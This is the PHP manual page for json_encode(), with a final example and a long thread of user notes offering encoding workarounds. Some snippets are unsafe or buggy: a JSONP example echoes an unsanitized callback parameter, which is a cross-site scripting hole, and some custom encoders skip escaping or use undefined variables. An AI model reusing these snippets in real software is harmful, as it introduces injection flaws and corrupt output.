Associative array always output as object: {"foo":"bar","baz":"long"}

Example #3 Sequential versus non-sequential array example

<?php
echo "Sequential array".PHP_EOL;
$sequential = array("foo", "bar", "baz", "blong");
var_dump(
 $sequential,
 json_encode($sequential)
);

echo PHP_EOL."Non-sequential array".PHP_EOL;
$nonsequential = array(1=>"foo", 2=>"bar", 3=>"baz", 4=>"blong");
var_dump(
 $nonsequential,
 json_encode($nonsequential)
);

echo PHP_EOL."Sequential array with one key unset".PHP_EOL;
unset($sequential[1]);
var_dump(
 $sequential,
 json_encode($sequential)
);
?>

The above example will output:

Sequential array
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(27) "["foo","bar","baz","blong"]"

Non-sequential array
array(4) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
  [4]=>
  string(5) "blong"
}
string(43) "{"1":"foo","2":"bar","3":"baz","4":"blong"}"

Sequential array with one key unset
array(3) {
  [0]=>
  string(3) "foo"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(33) "{"0":"foo","2":"baz","3":"blong"}"

Notes

Note:

In the event of a failure to encode, json_last_error() can be used to determine the exact nature of the error.

Note:

When encoding an array, if the keys are not a continuous numeric sequence starting from 0, all keys are encoded as strings, and specified explicitly for each key-value pair.

See Also

  • json_decode() - Decodes a JSON string
  • json_last_error() - Returns the last error occurred

User Contributed Notes

julien dot dev at gmail dot com 24-Jan-2012 06:08
Guys, (and girls)

A trick to unescape UTF8 for ppl with php < 5.4.0

json_encode(...) gives you \u..... right ?

json_decode DOES unescape though !

so:

/* Imagine you have an object like this :
[{"name":"php help héhéhahéhé","url":"http://payAttention.com"},{"name":"took me brainack j'étais mal mec","url":"http://slashesEscapingSux"}]
*/

//first encode your object
$myDirtyString = $json_encode($myObject);

/*the JSON_UNESCAPED_SLASHES, and JSON_UNESCAPED_UNICODE being unavailable, you'll have some ugly escaping happening :

[{"name":"php help h\u00e9h\u00e9hah\u00e9h\u00e9","url":"http:\/\/payAttention.com"},{"name":"took me brainack j'\u00e9tais mal mec","url":"http:\/\/slashesEscapingSux\/"}]
*/

//So, you'll have to unescape slashes:
$myDirtyString = str_replace("\/","/",$myDirtyString);

//Then, for the trick, escape doule quotes
$myDirtyString = str_replace('"','\\"',$myDirtyString);

//in oder to json_decode this trciked string (and get your utf8 unescaped)

$myCleanedString = json_decode('"'.$myDirtyString.'"');

// Je tour est joué !
// There might be better ways to do it but i found so much useless nonsense on forums that i decided to go with it for tonight
bohwaz 23-Nov-2011 05:05
Are you sure you want to use JSON_NUMERIC_CHECK, really really sure?

Just watch this usecase:

<?php
// International phone number
json_encode(array('phone_number' => '+33123456789'), JSON_NUMERIC_CHECK);
?>

And then you get this JSON:

{"phone_number":33123456789}

Maybe it makes sense for PHP (as is_numeric('+33123456789') returns true), but really, casting it as an int?!

So be careful when using JSON_NUMERIC_CHECK, it may mess up with your data!
me 17-Nov-2011 11:17
::fast utf8-encoding of strings::

json_encode( array_map( function($t){ return is_string($t) ? utf8_encode($t) : $t; }, $array ) )
spm at bf-team dot com 09-Nov-2011 11:29
json and utf8?

Fast Easy Method:)

Encode: json_encode(array_map('base64_encode', $array));

Decode: array_map('base64_decode', json_decode($array);
mmi at uhb-consulting dot de 08-Nov-2011 07:59
When you have trouble with json_encode and German umlauts. json_encode converts Strings to NULL when detecting umlauts not being UTF8encoded.

Here's another recursive UTF8 conversion function and vice-versa. The object handling might be buggy but works for me.

<?php
function array_utf8_encode_recursive($dat)
        { if (is_string($dat)) {
            return utf8_encode($dat);
          }
          if (is_object($dat)) {
            $ovs= get_object_vars($dat);
            $new=$dat;
            foreach ($ovs as $k =>$v)    {
                $new->$k=array_utf8_encode_recursive($new->$k);
            }
            return $new;
          }

          if (!is_array($dat)) return $dat;
          $ret = array();
          foreach($dat as $i=>$d) $ret[$i] = array_utf8_encode_recursive($d);
          return $ret;
        }
function array_utf8_decode_recursive($dat)
        { if (is_string($dat)) {
            return utf8_decode($dat);
          }
          if (is_object($dat)) {
            $ovs= get_object_vars($dat);
            $new=$dat;
            foreach ($ovs as $k =>$v)    {
                $new->$k=array_utf8_decode_recursive($new->$k);
            }
            return $new;
          }

          if (!is_array($dat)) return $dat;
          $ret = array();
          foreach($dat as $i=>$d) $ret[$i] = array_utf8_decode_recursive($d);
          return $ret;
        }
?>
yangmuxiang at gmail dot com 28-Oct-2011 04:28
I use base64_encode, it works fine.

<?php
 $a = array('msg' => '中文');

 $a['msg'] = base64_encode($a['msg']);

 $json = json_encode($a);

 echo $json;

 $b = json_decode($json) ;
 echo base64_decode($b->msg);
?>
rob at weeverapps dot com 25-Sep-2011 09:15
If, for some reason you need to force a single object to be an array, you can use array_values() -- this can be necessary if you have an array with only one entry, as json_encode will assign it as an object otherwise :

<?php
$object[0] = array("foo" => "bar", 12 => true);

$encoded_object = json_encode($object);
?>

output:

{"1": {"foo": "bar", "12": "true"}}

<?php $encoded = json_encode(array_values($object)); ?>

output:

[{"foo": "bar", "12": "true"}]
devilan (REMOVEIT) (at) o2 (dot) pl 15-Sep-2011 12:39
For PHP5.3 users who want to emulate JSON_UNESCAPED_UNICODE, there is simple way to do it:
<?php
function my_json_encode($arr)
{
        //convmap since 0x80 char codes so it takes all multibyte codes (above ASCII 127). So such characters are being "hidden" from normal json_encoding
        array_walk_recursive($arr, function (&$item, $key) { if (is_string($item)) $item = mb_encode_numericentity($item, array (0x80, 0xffff, 0, 0xffff), 'UTF-8'); });
        return mb_decode_numericentity(json_encode($arr), array (0x80, 0xffff, 0, 0xffff), 'UTF-8');

}
?>
1rsv dog mail point ru 12-Sep-2011 04:19
Some time you may need to encode a javascript function into a JSON object. json_encode does not support it yet.

array example:

<?php
$series = array("name"=>"N51",
                "data"=>array(1024,
                              array("y"=>2048,
                                    "events"=>array("mouseOver"=>'function(){$reporting.html(\'description of value\');}')
                                   ),
                              4096)
               );
json_encode($series);
?>

output:

{"name":"N51","data":[1024,{"y":2048,"events":{"mouseOver":"function(){$reporting.html('description of value');}"}},4096]}

<?php json_encode_jsfunc($series); ?>
output:

{"name":"N51","data":[1024,{"y":2048,"events":{"mouseOver":function(){$reporting.html('description of value');}}},4096]}

The difference is quotes around function, there should not be quotes.

<?php
function json_encode_jsfunc($input=array(), $funcs=array(), $level=0)
 {
  foreach($input as $key=>$value)
         {
          if (is_array($value))
             {
              $ret = json_encode_jsfunc($value, $funcs, 1);
              $input[$key]=$ret[0];
              $funcs=$ret[1];
             }
          else
             {
              if (substr($value,0,10)=='function()')
                 {
                  $func_key="#".uniqid()."#";
                  $funcs[$func_key]=$value;
                  $input[$key]=$func_key;
                 }
             }
         }
  if ($level==1)
     {
      return array($input, $funcs);
     }
  else
     {
      $input_json = json_encode($input);
      foreach($funcs as $key=>$value)
             {
              $input_json = str_replace('"'.$key.'"', $value, $input_json);
             }
      return $input_json;
     }
 }
?>
anonymous at gmail dot com 11-Sep-2011 05:53
Since PHP5.3 does not yet have JSON_UNESCAPED_UNICODE I had to find a way of leaving the unicode characters un-escaped in the json:
<?php
        array_walk_recursive($array, function(&$item, $key) {
            if(is_string($item)) {
                $item = htmlentities($item);
            }
        });
        $json = json_encode($array);
        $rson = html_entity_decode($rson);
?>
grkworld1 at yahoo dot co dot in 07-Sep-2011 02:45
copy the php tagged code in a page
this is use full for multy dimention array

<?php

function arr_2_str($arr,$counter=1,$str="")
{
    foreach( $arr as $key=>$value)
    {
        if(is_array($value))
        {
            $str.= $key."=$counter>".arr_2_str($value,($counter+1))."=".$counter.">~Y~|".$counter."|";
        }
        else
        {
            $str.=$key."=$counter>".$value."|$counter|";
        }
    }
    return rtrim($str,"|$counter|");
}

function str_2_arr($str,$counter=1,$arr=array(),$temparr=array())
{
    $temparr=explode("|$counter|",$str);

    foreach( $temparr as $key=>$value)
    {
        $t1=explode("=$counter>",$value);
        $kk=$t1[0];
        $vv=$t1[1];
        if ($t1[2]=="~Y~")
        {
            $arr[$kk]=str_2_arr($vv,($counter+1));
        }
        else
        {
            $arr[$kk]=$vv;
        }

    }
    return $arr;
}

$arr=array();

$arr[1]="a";
$arr[2][1]="b";
$arr[2][2]="c";
$arr[2][3][1]="d";
$arr[2][3][2][1]="e1";
$arr[2][3][2][2]="e2";
$arr[2][3][3]="f";
print "<pre>";

print_r($arr);

print "<br><br><br>";

print $ssttrr=arr_2_str($arr);

print "<br><br><br>";

print_r(str_2_arr($ssttrr));

/*print "<br><br><br>";
print "use of json";
print "<br><br><br>";
print $sstr=json_encode($arr);
print "<br><br><br>";
print_r(json_decode($sstr));*/

print "</pre>";

?>
Tibor Halter 13-Aug-2011 05:21
json_encode($binary) problem: it results in an empty string "" without error.

You will see this happening when encoding binary images, for example.

Use utf8_encode first.

<?php

    $data = 'éáíúűóüöäÍÓ';
    $json = json_encode( utf8_encode($data) );

    // [..]

    $data = utf8_decode( json_decode($json) );

?>
Rijk van Wel 07-Jul-2011 02:18
The JSON_NUMERIC_CHECK flag introduced in 5.3.0 comes in very handy when handling numbers encapsulated in a string (database results and post requests are always encoded as string types, for example). Sending over variables from a database result directly (as string) would cause the json_encode() function to quote them, which in turn would make the Javascript store them as strings. As Javascript isn't loosely typed, some libraries could break on this, when attempting to use one of those variables as row id in a data store for instance. Using the aforementioned flag can prevent this from happening.

<?php
$arr = array( 'row_id' => '1', 'name' => 'George' ); // fictional db result
echo json_encode( $arr, JSON_NUMERIC_CHECK ); // {"row_id":1,"name":"George"}
?>
Mr Swordsteel 05-Jun-2011 07:38
So i like to use ISO-8859-1 and a lot of åäöÅÄÖ and not that much for UTF-8 but i need some json stuff so this is what I'm trying to use this lite thing i made...

<?php
function my_json_encode($in) {
  $_escape = function ($str) {
    return addcslashes($str, "\v\t\n\r\f\"\\/");
  };
  $out = "";
  if (is_object($in)) {
    $class_vars = get_object_vars(($in));
    $arr = array();
    foreach ($class_vars as $key => $val) {
      $arr[$key] = "\"{$_escape($key)}\":\"{$val}\"";
    }
    $val = implode(',', $arr);
    $out .= "{{$val}}";
  }elseif (is_array($in)) {
    $obj = false;
    $arr = array();
    foreach($in AS $key => $val) {
      if(!is_numeric($key)) {
        $obj = true;
      }
      $arr[$key] = my_json_encode($val);
    }
    if($obj) {
      foreach($arr AS $key => $val) {
        $arr[$key] = "\"{$_escape($key)}\":{$val}";
      }
      $val = implode(',', $arr);
      $out .= "{{$val}}";
    }else {
      $val = implode(',', $arr);
      $out .= "[{$val}]";
    }
  }elseif (is_bool($in)) {
    $out .= $in ? 'true' : 'false';
  }elseif (is_null($in)) {
    $out .= 'null';
  }elseif (is_string($in)) {
    $out .= "\"{$_escape($in)}\"";
  }else {
    $out .= $in;
  }
  return "{$out}";
}
?>

have fun make money off it or what you like with you code... this is for everyone...
Joe 06-May-2011 11:24
Just FYI, check out these other registered long constants from the PHP source code for json_d/ecode:

JSON_PRETTY_PRINT
JSON_UNESCAPED_SLASHES
JSON_NUMERIC_CHECK

I certainly look forward to these being fully included, especially the pretty print option for proof reading of javascript config props sent to things like Highcharts.
pvl dot kolensikov at gmail dot com 28-Mar-2011 08:35
As json_encode() is recursive, you can use it to serialize whole structure of objects.

<?php
class A {
    public $a = 1;
    public $b = 2;
    public $collection = array();

    function  __construct(){
        for ( $i=3; $i-->0;){
            array_push($this->collection, new B);
        }
    }
}

class B {
    public $a = 1;
    public $b = 2;
}

echo json_encode(new A);
?>

Will give:

{
    "a":1,
    "b":2,
    "collection":[{
        "a":1,
        "b":2
    },{
        "a":1,
        "b":2
    },{
        "a":1,
        "b":2
    }]
}
Mathias Leppich 24-Feb-2011 10:29
If you need a json_encode / json_decode which is array/object/assoc-array you might want to use: http://gist.github.com/820694

<?php
$dataIn = (object)array(
    "assoc" => array("cow"=>"moo"),
    "object" => (object)array("cat"=>"miao"),
);
/*
== IN
object(stdClass)#2 (2) {
  ["assoc"]=>
  array(1) {
    ["cow"]=>
    string(3) "moo"
  }
  ["object"]=>
  object(stdClass)#1 (1) {
    ["cat"]=>
    string(4) "miao"
  }
}

== JSON
{"assoc":{"_PHP_ASSOC":{"cow":"moo"}},"object":{"cat":"miao"}}

== OUT
object(stdClass)#4 (2) {
  ["assoc"]=>
  array(1) {
    ["cow"]=>
    string(3) "moo"
  }
  ["object"]=>
  object(stdClass)#7 (1) {
    ["cat"]=>
    string(4) "miao"
  }
}
*/
?>
Joao Neto 15-Feb-2011 04:36
To solve the "problem" with encoded UTF8 chars, is easy:

for example:

<?php
$arr = array( 'áéíóúçã', 'áááééé´rŕŕ' );

echo json_encode( $arr );

foreach ($arr as &$a) {
  $a = ascii_to_entities( $a );
}

echo json_encode( $arr );

function ascii_to_entities($str)
    {
       $count    = 1;
       $out    = '';
       $temp    = array();

       for ($i = 0, $s = strlen($str); $i < $s; $i++)
       {
           $ordinal = ord($str[$i]);

           if ($ordinal < 128)
           {
                if (count($temp) == 1)
                {
                    $out  .= '&#'.array_shift($temp).';';
                    $count = 1;
                }

                $out .= $str[$i];
           }
           else
           {
               if (count($temp) == 0)
               {
                   $count = ($ordinal < 224) ? 2 : 3;
               }

               $temp[] = $ordinal;

               if (count($temp) == $count)
               {
                   $number = ($count == 3) ? (($temp['0'] % 16) * 4096) +
(($temp['1'] % 64) * 64) +
($temp['2'] % 64) : (($temp['0'] % 32) * 64) +
($temp['1'] % 64);

                   $out .= '&#'.$number.';';
                   $count = 1;
                   $temp = array();
               }
           }
       }

       return $out;
    }
?>

RESULT:

["\u00e1\u00e9\u00ed\u00f3\u00fa\u00e7\u00e3",
"\u00e1\u00e1\u00e1\u00e9\u00e9\u00e9\u00b4r\u0155\u0155"]

Array ( [0] => áéíóúçã [1] => áááééé´rŕŕ )

["áéíóúçã","áááééé´rŕŕ"]

Array ( [0] => áéíóúçã [1] => áááééé´rŕŕ )
vakondweb at gmail dot com 01-Feb-2011 01:01
json_encode() only works with UTF-8 charset.

In case if you work with other charset, use this very simple solution instead of json_encode:

<?php
//$return_arr = the array of data to json encode
//$out = the output of the function
//don't forget to escape the data before use it!

$out = '["' . implode('","', $return_arr) . '"]';
?>
bohwaz 26-Jan-2011 02:00
This is intended to be a simple readable json encode function for PHP 5.3+ (and licensed under GNU/AGPLv3 or GPLv3 like you prefer):

<?php

function json_readable_encode($in, $indent = 0, $from_array = false)
{
    $_myself = __FUNCTION__;
    $_escape = function ($str)
    {
        return preg_replace("!([\b\t\n\r\f\"\\'])!", "\\\\\\1", $str);
    };

    $out = '';

    foreach ($in as $key=>$value)
    {
        $out .= str_repeat("\t", $indent + 1);
        $out .= "\"".$_escape((string)$key)."\": ";

        if (is_object($value) || is_array($value))
        {
            $out .= "\n";
            $out .= $_myself($value, $indent + 1);
        }
        elseif (is_bool($value))
        {
            $out .= $value ? 'true' : 'false';
        }
        elseif (is_null($value))
        {
            $out .= 'null';
        }
        elseif (is_string($value))
        {
            $out .= "\"" . $_escape($value) ."\"";
        }
        else
        {
            $out .= $value;
        }

        $out .= ",\n";
    }

    if (!empty($out))
    {
        $out = substr($out, 0, -2);
    }

    $out = str_repeat("\t", $indent) . "{\n" . $out;
    $out .= "\n" . str_repeat("\t", $indent) . "}";

    return $out;
}

?>
dan at elearnapp dot com 13-Jan-2011 12:01
If you need to force an object (ex: empty array) you can also do:

         <?php json_encode( (object)$arr ); ?>

which acts the same as

         <?php json_encode($arr, JSON_FORCE_OBJECT); ?>
marc at leftek dot com 23-Dec-2010 10:08
Anybody having empty arrays and needing the JSON_FORCE_OBJECT option but not using 5.3 yet, you can substitute assigning an empty object:

<?php
    if (empty($array)) $array = (object) null;
    $return = json_encode($array);
?>
rdheijer at reestyle dot net 21-Dec-2010 02:11
You may run into trouble when you need to call functions. In my case I had to fire a function based on a button pressed in the flexigrid javascript component.

My solution in the project was:

<?php

$jsonify = array('onpress'=>'functionName');

// The part between braces in the regex is somewhat rough
// but it will do the job. Afterall, you don't want this to be
// used by a visitor :)
$regex = '/"onpress":"([\w\-\.]+)"/i';
$replace = '"onpress":$1';
$jsonified = preg_replace($regex, $replace, json_encode($jsonify));

?>

But you can extend this for your own needs. By altering the regex and replace vars:

<?php

$replace = '"$1":$2';
$regex = '/"(onpress|onclick|onmouseover|onmouseout)":"([\w_\-\.]+)"/i';

?>

Unfortunately you have to specify each call reference, but it does give you full control over what to and what not to.
Andre M 06-Dec-2010 04:23
Regarding encoding issues, if you make sure the PHP files containing your strings are encoded in UTF-8, you shouldn't need to call utf8_encode.
spam dot here dot pls at hotmail dot com 17-Nov-2010 12:42
Another way for pre-5.2.0 PHP users is using rawurlencode() in PHP to encode a string and decodeURIComponent() in javascript to decode it. I have written following class to handle PHP arrays and convert them to javascript format. It uses object notation for associative arrays and arrays for the other. Nesting is supported. True, false, integers, floats and null values are presented in respective javascript syntax.

Use: convert an array in PHP using this class, load it into the browser using ajax and then decode the strings in the resulting object using javascript function decodeData (below).

All of the example results have passed json validator so it shoud be allright. Feel free to use this.

PHP CLASS - encoding arrays
=======

<?php

class custom_json {

    /**
     * Convert array to javascript object/array
     * @param array $array the array
     * @return string
     */
    public static function encode($array)
    {

        // determine type
        if(is_numeric(key($array))) {

            // indexed (list)
            $output = '[';
            for($i = 0, $last = (sizeof($array) - 1); isset($array[$i]); ++$i) {
                if(is_array($array[$i])) $output .= self::encode($array[$i]);
                else  $output .= self::_val($array[$i]);
                if($i !== $last) $output .= ',';
            }
            $output .= ']';

        } else {

            // associative (object)
            $output = '{';
            $last = sizeof($array) - 1;
            $i = 0;
            foreach($array as $key => $value) {
                $output .= '"'.$key.'":';
                if(is_array($value)) $output .= self::encode($value);
                else  $output .= self::_val($value);
                if($i !== $last) $output .= ',';
                ++$i;
            }
            $output .= '}';

        }

        // return
        return $output;

    }

    /**
     * [INTERNAL] Format value
     * @param mixed $val the value
     * @return string
     */
    private static function _val($val)
    {
        if(is_string($val)) return '"'.rawurlencode($val).'"';
        elseif(is_int($val)) return sprintf('%d', $val);
        elseif(is_float($val)) return sprintf('%F', $val);
        elseif(is_bool($val)) return ($val ? 'true' : 'false');
        else  return 'null';
    }

}

// prints ["apple","banana","blueberry"]
echo custom_json::encode(array('apple', 'banana', 'blueberry'));

// prints {"name":"orange","type":"fruit"}
echo custom_json::encode(array('name' => 'orange', 'type' => 'fruit'));

// prints: ** try it yourself, cannot post long lines here **
$big_test = array(
    array(
        'name' => array('John', 'Smith'),
        'age' => 27,
        'sex' => 0,
        'height' => 180.53,
        'is_human' => true,
        'string' => 'Hello',
    ),
    array(
        'name' => array('Green', 'Alien'),
        'age' => 642,
        'sex' => null,
        'height' => 92.21,
        'is_human' => false,
        'string' => 'こんにちは！', // test utf8 here
    )
);

echo custom_json::encode($big_test);

?>

JAVASCRIPT FUNCTION - decode rawurlencoded() strings
==================
function decodeData(data) {
        for(var item in data) {
            var type = typeof data[item];
            if(type === 'object') decodeData(data[item]);
            else if(type === 'string') data[item] = decodeURIComponent(data[item]);
        }
    }
boukeversteegh at gmail dot com 10-Nov-2010 06:02
For users of php 5.1.6 or lower, a native json_encode function. This version handles objects, and makes proper distinction between [lists] and {associative arrays}, mixed arrays work as well. It can handle newlines and quotes in both keys and data.

This function will convert non-ascii symbols to "\uXXXX" format as does json_encode.

Besides that, it outputs exactly the same string as json_encode. Including UTF-8 encoded 2-, 3- and 4-byte characters. It is a bit faster than PEAR/JSON::encode, but still slow compared to php 5.3's json_encode. It encodes any variable type exactly as the original.

Relative speeds:
PHP json_encode: 1x
__json_encode: 31x
PEAR/JSON: 46x

NOTE: I assume the input will be valid UTF-8. I don't know what happens if your data contains illegal Unicode sequences. I tried to make the code fast and compact.

<?php
function __json_encode( $data ) {
    if( is_array($data) || is_object($data) ) {
        $islist = is_array($data) && ( empty($data) || array_keys($data) === range(0,count($data)-1) );

        if( $islist ) {
            $json = '[' . implode(',', array_map('__json_encode', $data) ) . ']';
        } else {
            $items = Array();
            foreach( $data as $key => $value ) {
                $items[] = __json_encode("$key") . ':' . __json_encode($value);
            }
            $json = '{' . implode(',', $items) . '}';
        }
    } elseif( is_string($data) ) {
        # Escape non-printable or Non-ASCII characters.
        # I also put the \\ character first, as suggested in comments on the 'addclashes' page.
        $string = '"' . addcslashes($data, "\\\"\n\r\t/" . chr(8) . chr(12)) . '"';
        $json    = '';
        $len    = strlen($string);
        # Convert UTF-8 to Hexadecimal Codepoints.
        for( $i = 0; $i < $len; $i++ ) {

            $char = $string[$i];
            $c1 = ord($char);

            # Single byte;
            if( $c1 <128 ) {
                $json .= ($c1 > 31) ? $char : sprintf("\\u%04x", $c1);
                continue;
            }

            # Double byte
            $c2 = ord($string[++$i]);
            if ( ($c1 & 32) === 0 ) {
                $json .= sprintf("\\u%04x", ($c1 - 192) * 64 + $c2 - 128);
                continue;
            }

            # Triple
            $c3 = ord($string[++$i]);
            if( ($c1 & 16) === 0 ) {
                $json .= sprintf("\\u%04x", (($c1 - 224) <<12) + (($c2 - 128) << 6) + ($c3 - 128));
                continue;
            }

            # Quadruple
            $c4 = ord($string[++$i]);
            if( ($c1 & 8 ) === 0 ) {
                $u = (($c1 & 15) << 2) + (($c2>>4) & 3) - 1;

                $w1 = (54<<10) + ($u<<6) + (($c2 & 15) << 2) + (($c3>>4) & 3);
                $w2 = (55<<10) + (($c3 & 15)<<6) + ($c4-128);
                $json .= sprintf("\\u%04x\\u%04x", $w1, $w2);
            }
        }
    } else {
        # int, floats, bools, null
        $json = strtolower(var_export( $data, true ));
    }
    return $json;
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by the original poster on 08-DEC-2010 with the following message: "I discovered a rather bad bug in my __json_encode function below. On versions prior to php 5.2.5, all 'f' characters are escaped to '\f'. This is because addcslashes in php < 5.2 doesn't understand \f as 'formfeed'."]
php at ianco dot co dot uk 29-Oct-2010 04:02
Note that json_encode always escapes a solidus (forward slash, %x2F).
This may be a problem if you are encoding a URL.
It's been recognised and fixed in September 2010:
http://bugs.php.net/bug.php?id=49366
But escaping will still be the default behaviour.
A crude repair can be done with
str_replace('\\/', '/', $jsonEncoded)
josh [at] goals.com 23-Oct-2010 12:31
For anyone wondering whether umbrae's JSON pretty-printer will output invalid JSON (I did), I ran some tests taking my valid JSON and replacing string values with each of the possible edge cases: [, {, ,, :, ", }, and ]. I then ran the output through JSONLint just to verify.

So far as I can tell, nothing breaks in these situations, and everything pretty-prints as expected.

That said, quotes " will produce invalid JSON, but this is only an issue if you're using json_encode() and just expect PHP to magically escape your quotes. You need to do the escaping yourself.
migprj at gmail dot com 19-Oct-2010 07:46
Because json_encode() only deals with utf8, it is often necessary to convert all the string values inside an array to utf8. I've created these two functions:

<?php
function utf8_encode_all($dat) // -- It returns $dat encoded to UTF8
{
  if (is_string($dat)) return utf8_encode($dat);
  if (!is_array($dat)) return $dat;
  $ret = array();
  foreach($dat as $i=>$d) $ret[$i] = utf8_encode_all($d);
  return $ret;
}
/* ....... */

function utf8_decode_all($dat) // -- It returns $dat decoded from UTF8
{
  if (is_string($dat)) return utf8_decode($dat);
  if (!is_array($dat)) return $dat;
  $ret = array();
  foreach($dat as $i=>$d) $ret[$i] = utf8_decode_all($d);
  return $ret;
}
/* ....... */
?>
tomas at matfyz dot cz 05-Oct-2010 07:43
As json_encode() won't work with character sets other than UTF-8, this expression allows to encode strings for JSON regardless of the character set:

<?php
str_replace("\0", "\\u0000", addcslashes($string, "\t\r\n\"\\"));
?>

You need to replace the nul character manually as addcslashes() won't do it right way. But BEWARE, this is only solution for common strings, other "unusual wild characters" like ESC, \b, \a etc. are not handled.
matt dot parlane at gmail dot com 05-Oct-2010 12:05
To save some space, at the risk of it being illegal JSON, strictly speaking:

<?php
$json = preg_replace('/"([a-zA-Z]+[a-zA-Z0-9]*)":/', '$1:', json_encode($whatever));
?>
Dave - s10sys.com 09-Sep-2010 08:46
This may help others who are seeing null strings returned by json_encode().

This function will encode all array values to utf8 so they are safe for json_encode();

usage:

<?php
json_encode(utf8json($dataArray));

function utf8json($inArray) {

    static $depth = 0;

    /* our return object */
    $newArray = array();

    /* safety recursion limit */
    $depth ++;
    if($depth >= '30') {
        return false;
    }

    /* step through inArray */
    foreach($inArray as $key=>$val) {
        if(is_array($val)) {
            /* recurse on array elements */
            $newArray[$key] = utf8json($val);
        } else {
            /* encode string values */
            $newArray[$key] = utf8_encode($val);
        }
    }

    /* return utf8 encoded array */
    return $newArray;
}
?>

[NOTE BY danbrown AT php DOT net: Includes a bugfix by (robbiz233 AT hotmail DOT com) on 18-SEP-2010, to replace:
    $newArray[$key] = utf8json($inArray);
with:
    $newArray[$key] = utf8json($val);"
in the given function.]
nicolas dot baptiste at gmail dot com 18-Aug-2010 08:49
Beware of index arrays :

<?php
echo json_encode(array("test","test","test"));
echo json_encode(array(0=>"test",3=>"test",7=>"test"));
?>

Will give :

["test","test","test"]
{"0":"test","3":"test","7":"test"}

arrays are returned only if you don't define index.
gansbrest 06-Aug-2010 12:42
If you have problems with quotes when encoding numeric data retrieved from the database, you can just cast that value to integer and there will be no quotes:

<?php
$testArr['key'] = '1';
print json_encode($testArr);
?>

===> {"key":"1"}

<?php
$testArr['key'] = (int)'1';
print json_encode($testArr);
?>

===> {"key":1}

Don't forget that you have to deal with numbers, otherwise your string will be converted to 0.
Arne Bech 20-Jul-2010 12:00
To battle the quoting of numbers when encoding data retrieved from mysql you could do a simple preg_replace() to remove the quotes on numbers.

This has worked for me:
<?php
$json = json_encode($dataFromMysql);
$json = preg_replace('/"(-?\d+\.?\d*)"/', '$1', $json);
?>
mic dot sumner at gmail dot com 02-Jul-2010 06:39
Hey everyone,

In my application, I had objects that modeled database rows with a few one to many relationships, so one object may have an array of other objects.

I wanted to make the object properties private and use getters and setters, but I needed them to be serializable to json without losing the private variables. (I wanted to promote good coding practices but I needed the properties on the client side.) Because of this, I needed to encode not only the normal private properties but also properties that were arrays of other model objects. I looked for awhile with no luck, so I coded my own:

You can place these methods in each of your classes, or put them in a base class, as I've done. (But note that for this to work, the children classes must declare their properties as protected so the parent class has access)

<?php
abstract class Model {

   public function toArray() {
        return $this->processArray(get_object_vars($this));
    }

    private function processArray($array) {
        foreach($array as $key => $value) {
            if (is_object($value)) {
                $array[$key] = $value->toArray();
            }
            if (is_array($value)) {
                $array[$key] = $this->processArray($value);
            }
        }
        // If the property isn't an object or array, leave it untouched
        return $array;
    }

    public function __toString() {
        return json_encode($this->toArray());
    }

}
?>

Externally, you can just call

<?php
    echo $theObject;
    //or
    echo json_encode($theObject->toArray());
?>

And you'll get the json for that object. Hope this helps someone!
ryan at ryanparman dot com 27-Mar-2010 01:36
I came across the "bug" where running json_encode() over a SimpleXML object was ignoring the CDATA. I ran across http://bugs.php.net/42001 and http://bugs.php.net/41976, and while I agree with the poster that the documentation should clarify gotchas like this, I was able to figure out how to workaround it.

You need to convert the SimpleXML object back into an XML string, then re-import it back into SimpleXML using the LIBXML_NOCDATA option. Once you do this, then you can use json_encode() and still get back the CDATA.

<?php
// Pretend we already have a complex SimpleXML object stored in $xml
$json = json_encode(new SimpleXMLElement($xml->asXML(), LIBXML_NOCDATA));
?>
5hunter5 at mail dot ru 17-Feb-2010 03:03
If I want to encode object whith all it's private and protected properties, then I implements that methods in my object:

<?php
public function encodeJSON()
{
    foreach ($this as $key => $value)
    {
        $json->$key = $value;
    }
    return json_encode($json);
}
public function decodeJSON($json_str)
{
    $json = json_decode($json_str, 1);
    foreach ($json as $key => $value)
    {
        $this->$key = $value;
    }
}
?>

Or you may extend your class from base class, wich is implements that methods.

Found that much more simple than regular expressions with PHP serialized objects...
olivier dot pons dot no dot spam at gmail dot com 22-Jan-2010 07:13
Be careful about one thing:
With a string key Php will consider it's an object:

<?php
echo json_encode(array('id'=>'testtext'));
echo json_encode(array('testtext'));
?>

Will give:

{"id":"testtext"}
["testtext"]

Beware of the string keys!
garydavis at gmail dot com 14-Jan-2010 07:38
If you are planning on using this function to serve a json file, it's important to note that the json generated by this function is not ready to be consumed by javascript until you wrap it in parens and add ";" to the end.

It took me a while to figure this out so I thought I'd save others the aggravation.

<?php
    header('Content-Type: text/javascript; charset=utf8');
    header('Access-Control-Allow-Origin: http://www.example.com/');
    header('Access-Control-Max-Age: 3628800');
    header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

    $file='rss.xml';
    $arr = simplexml_load_file($file);//this creates an object from the xml file
    $json= '('.json_encode($arr).');'; //must wrap in parens and end with semicolon
    print_r($_GET['callback'].$json); //callback is prepended for json-p
?>
me at daniel dot ie 15-Nov-2009 08:45
I had trouble putting the results of mysql_fetch_assoc() through json_encode: numbers being returned from the query were being quoted in the JSON output (i.e., they were being treated as strings). In order to fix this, it is necessary to explicitly cast each element of the array before json_encode() is called.

The following code uses metadata from a MySQL query result to do this casting.

<?php
    $mysql = mysql_connect('localhost', 'user', 'password');
    mysql_select_db('my_db');

    $query = 'select * from my_table';
    $res = mysql_query($query);

    // iterate over every row
    while ($row = mysql_fetch_assoc($res)) {
        // for every field in the result..
        for ($i=0; $i < mysql_num_fields($res); $i++) {
            $info = mysql_fetch_field($res, $i);
            $type = $info->type;

            // cast for real
            if ($type == 'real')
                $row[$info->name] = doubleval($row[$info->name]);
            // cast for int
            if ($type == 'int')
                $row[$info->name] = intval($row[$info->name]);
        }

        $rows[] = $row;
    }

    // JSON-ify all rows together as one big array
    echo json_encode($rows);

    mysql_close($mysql);
?>
rlz_ar at yahoo dot com 29-Oct-2009 08:35
If you have problems with json_encode() on arrays, you can force json_encode() to encode as object, and then use json_decode() casting the result as array:

<?php

$myarray = Array('isa', 'dalawa', 'tatlo');

unset($myarray[1]);

$json_encoded_array = json_encode ( $myarray, JSON_FORCE_OBJECT );

// do whatever you want with your data
